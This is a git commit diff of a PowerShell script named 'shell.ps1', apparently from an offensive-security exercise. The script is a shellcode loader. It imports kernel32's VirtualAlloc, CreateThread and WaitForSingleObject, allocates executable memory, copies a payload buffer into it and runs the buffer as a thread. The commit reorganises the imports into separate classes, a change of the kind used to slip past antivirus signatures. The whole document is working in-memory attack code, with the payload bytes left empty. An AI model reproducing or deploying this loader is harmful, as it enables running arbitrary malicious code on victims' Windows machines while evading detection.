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Use the example powershell

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This commit is contained in:
Sivert V. Sæther 2024-12-11 21:37:47 +01:00
parent 427fd108d1
commit 0ad36b520f
1 changed files with 38 additions and 14 deletions
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52
8/shell.ps1
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@ -1,18 +1,42 @@
[Byte[]] $buf =
Add-Type @"
public class Win
{
$Buf =
$VrtAlloc = @"
using System;
using System.Runtime.InteropServices;
public class VrtAlloc{
[DllImport("kernel32")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
[DllImport("kernel32", CharSet=CharSet.Ansi)]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
}
"@
[IntPtr]$addr = [Win]::VirtualAlloc(0, $buf.Length, 0x3000, 0x40)
Add-Type $VrtAlloc
$WaitFor= @"
using System;
using System.Runtime.InteropServices;
public class WaitFor{
[DllImport("kernel32.dll", SetLastError=true)]
public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
}
"@
Add-Type $WaitFor
$CrtThread= @"
using System;
using System.Runtime.InteropServices;
public class CrtThread{
[DllImport("kernel32", CharSet=CharSet.Ansi)]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
}
"@
Add-Type $CrtThread
[IntPtr]$addr = [VrtAlloc]::VirtualAlloc(0, $buf.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $buf.Length)
$thandle = [Win]::CreateThread(0, 0, $addr, 0, 0, 0)
[Win]::WaitForSingleObject($thandle, [uint32]"0xFFFFFFFF")
$thandle = [CrtThread]::CreateThread(0, 0, $addr, 0, 0, 0)
[WaitFor]::WaitForSingleObject($thandle, [uint32]"0xFFFFFFFF")